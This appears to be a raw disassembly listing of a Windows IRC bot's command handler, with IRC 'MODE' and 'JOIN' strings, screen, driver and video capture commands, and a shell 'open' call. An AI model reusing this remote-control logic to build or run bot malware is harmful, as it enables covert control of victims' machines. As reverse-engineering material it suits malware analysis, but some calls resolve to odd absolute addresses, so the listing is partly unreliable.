		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------

loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx

loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------

loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx

loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_430FF8
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412E18

loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_412E02
; ---------------------------------------------------------------------------

loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_430FAC
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_430F58
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2610E42h

loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_430F24
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10

loc_412F4E:				; DATA XREF: ___:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_430EF4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_430EB0
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430EA8
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h

loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47

loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633

loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_430E9C
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------

loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E94
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_430E68
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E60
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E34
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E08
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430DD0
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_432D74
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_430DC4
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2610E42h
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_430DA0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4315BC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_430D74
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------

loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_430D48

loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------

loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_430D1C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F48
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_430CE8
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_430CA8
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430C80
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430C3C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------

loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_430C00
		jmp	short loc_413455
; ---------------------------------------------------------------------------

loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_430BB8

loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx

loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADC8
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_430B7C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h

loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B48
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B04
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------

loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_430AC0
		jmp	short loc_413592
; ---------------------------------------------------------------------------

loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_430A78

loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_430A34
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_4309E4
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_430998
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch

loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------

loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430964
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_430934
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_4308F8
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_4308D0
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4308A4
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_430878
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430850
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41381F

loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_413809
; ---------------------------------------------------------------------------

loc_41381F:				; CODE XREF: sub_40EE72+4995j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_430804
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_4307E0
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4307AC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413927

loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_413911
; ---------------------------------------------------------------------------

loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset dword_432C7C
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 27E0C9Bh
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_430780
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------

loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_431128
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------

loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_430748
		jmp	short loc_413995
; ---------------------------------------------------------------------------

loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_430704

loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_4306D0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_430690
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]

loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430664
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------

loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43AE24
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------

loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_43062C

loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_4305F8
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43AD0C
